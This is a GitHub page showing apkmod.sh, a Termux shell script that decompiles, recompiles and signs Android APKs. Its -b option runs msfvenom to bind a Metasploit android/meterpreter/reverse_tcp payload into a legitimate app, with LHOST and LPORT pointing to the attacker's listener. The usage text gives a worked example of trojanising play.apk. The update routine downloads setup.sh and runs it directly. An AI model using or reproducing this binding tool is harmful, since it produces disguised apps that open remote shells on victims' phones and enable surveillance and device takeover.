forked from Hax4us/Apkmod
-
Notifications
You must be signed in to change notification settings - Fork 0
/
apkmod.sh
239 lines (215 loc) · 6.21 KB
/
apkmod.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
#!/data/data/com.termux/files/usr/bin/sh
########################################
# Project : Apkmod #
# Author : Lokesh @Hax4us #
# Email : [email protected] #
########################################
CWD=$(pwd)
VERSION="1.4"
#colors
cyan='\033[1;36m'
green='\033[1;32m'
red='\033[1;31m'
yellow='\033[1;33m'
blue='\033[1;34m'
purple='\033[1;35m'
reset='\033[0m'
usage() {
printf "${yellow}Usage: apkmod [option] [/path/to/input.apk] -o [/path/to/output.apk] [EXTRAARGS]
${purple}valid options are:${blue}
-v print version
-d For decompiling
-r For recompiling
-s For signing
-b For binding payload
-o Specify output file or directory
-a Use aapt2
${yellow}Example:
${blue}apkmod -b /sdcard/apps/play.apk -o /sdcard/apps/binded_play.apk LHOST=127.0.0.1 LPORT=4444 ${purple}bind the payload with play.apk and saves output in given directory.
${green}Apkmod is like a bridge between your termux and alpine by which you can easily decompile recompile signapk and even bind the payload using metasploit\n${reset}"
}
error_msg() {
printf "${red}[!] ${yellow}${1}${reset}\n"
}
print_status() {
printf "${blue}[*] ${green}${1}\n${reset}"
}
file_exist() {
if [ ! -e "${1}" ]; then
error_msg "file (${1}) does not exist"
exit 1
fi
}
dir_exist() {
if [ ! -d "${1}" ]; then
error_msg "directory (${1}) does not exist"
exit 1
fi
}
decompile() {
print_status "Decompiling ${1}"
apktool d -f ${1} -o ${2}
if [ ! -e ${2} ]; then
error_msg "Can't decompile, take screenshot and open a issue on github"
exit 1
fi
print_status "Decompiled into ${2}"
}
recompile() {
print_status "Recompiling ${1}"
if [ "${USE_AAPT2}" = "yes" ]; then
apktool b -a /usr/bin/aapt2 -o ${2} ${1}
else
apktool b -a /usr/bin/aapt -o ${2} ${1}
fi
if [ ! -e ${2} ]; then
error_msg "Try again with -a option\nBut if still can't recompile, take screenshot and open a issue on github"
exit 1
fi
print_status "Recompiled to ${2}"
}
signapk() {
print_status "Signing ${1}"
apksigner -p android keystore ${1} ${2}
if [ ! -e ${2} ]; then
error_msg "Can't sign, take screenshot and open a issue on github"
exit 1
fi
print_status "Signed to ${2}"
}
#########################
# Bind payload with APK #
#########################
bindapk() {
print_status "Binding ${3}"
if [ "${USE_AAPT2}" = "yes" ]; then
aapt_arg="--use-aapt2"
fi
msfvenom -x ${3} -p android/meterpreter/reverse_tcp LHOST=${1} LPORT=${2} --platform android --arch dalvik AndroidMeterpreterDebug=true AndroidWakelock=true ${aapt_arg} -o ${4}
if [ ! -e ${4} ]; then
error_msg "Try again with -a option\nBut if still can't bind, take screenshot and open a issue on github"
exit 1
fi
print_status "Binded to ${4}"
}
#########################
# Validate User's input #
#########################
validate_input() {
if [ "${1}" = "-b" ]; then
if [ "$#" -ne 5 ]; then
usage
exit 1
fi
file_exist "${2}"
dir_exist "${3%\/*}"
fi
if [ ! "${1}" = "-b" -a "$#" -ne 3 ]; then
usage
exit 1
fi
if [ "${1}" = "-d" -o "${1}" = "-s" ]; then
file_exist "${2}"
dir_exist "${3%\/*}"
fi
if [ "${1}" = "-r" ]; then
dir_exist "${2}"
dir_exist "${3%\/*}"
fi
}
###############################
# do automatic update check & #
# ask for update if available #
###############################
update() {
temp=$(curl -L -s https://github.com/Hax4us/Apkmod/raw/master/apkmod.sh | grep -w "VERSION=" | head -n1)
N_VERSION=$(echo ${temp} | sed -e 's/[^0-9]\+[^0-9]/ /g' | cut -d '"' -f1)
if [ "${1}" != "-u" ]; then
[ 1 -eq $(echo "${N_VERSION} != ${VERSION}" | bc -l) ] && print_status "Update is available, run [ apkmod -u ] for update" && exit 1
fi
if [ "${1}" = "-u" ]; then
cd
if [ -e setup.sh ]; then
rm setup.sh
fi
wget https://raw.githubusercontent.com/Hax4us/Apkmod/master/setup.sh && sh setup.sh
fi
}
##############
# MAIN #
##############
# check for update only if net is ON
wget -q --spider http://google.com
if [ $? -eq 0 -a ! "${1}" = "-u" ]; then
update
fi
if [ $# -eq 0 ]; then
usage
exit 1
fi
while getopts ":d:r:s:b:o:ahvu" opt; do
case $opt in
d)
ACTION="decompile"
ARG="-d"
in_abs_path=$(readlink -f ${OPTARG})
;;
r)
ACTION="recompile"
ARG="-r"
in_abs_path=$(readlink -f ${OPTARG})
;;
s)
ACTION="signapk"
ARG="-s"
in_abs_path=$(readlink -f ${OPTARG})
;;
b)
ACTION="bindapk"
ARG="-b"
in_abs_path=$(readlink -f ${OPTARG})
LHOST=$(echo "$@" | sed -e "s/ /\\n/g" | grep -i LHOST | cut -d "=" -f2)
LPORT=$(echo "$@" | sed -e "s/ /\\n/g" | grep -i LPORT | cut -d "=" -f2)
;;
o)
out_abs_path=$(readlink -f ${OPTARG})
;;
a)
USE_AAPT2="yes"
;;
h)
usage
exit 0
;;
v)
printf "${yellow}${VERSION}\n${reset}"
exit 0
;;
u)
print_status "Updating ..."
update "-${opt}"
print_status "Update completed"
exit 0
;;
\?)
error_msg "Invalid option: -$OPTARG"
exit 1
;;
:)
error_msg "option -$OPTARG requires an argument"
exit 1
;;
esac
done
## Lets validate user's input
if [ "${ARG}" = "-d" ]; then
validate_input ${ARG} ${in_abs_path} ${out_abs_path}
elif [ "${ARG}" = "-r" ]; then
validate_input ${ARG} ${in_abs_path} ${out_abs_path}
elif [ "${ARG}" = "-s" ]; then
validate_input ${ARG} ${in_abs_path} ${out_abs_path}
elif [ "${ARG}" = "-b" ]; then
validate_input ${ARG} ${in_abs_path} ${out_abs_path} ${LHOST} ${LPORT}
fi
## Lhost or lport will be ignored for all actions except bindapk
${ACTION} ${LHOST} ${LPORT} ${in_abs_path} ${out_abs_path}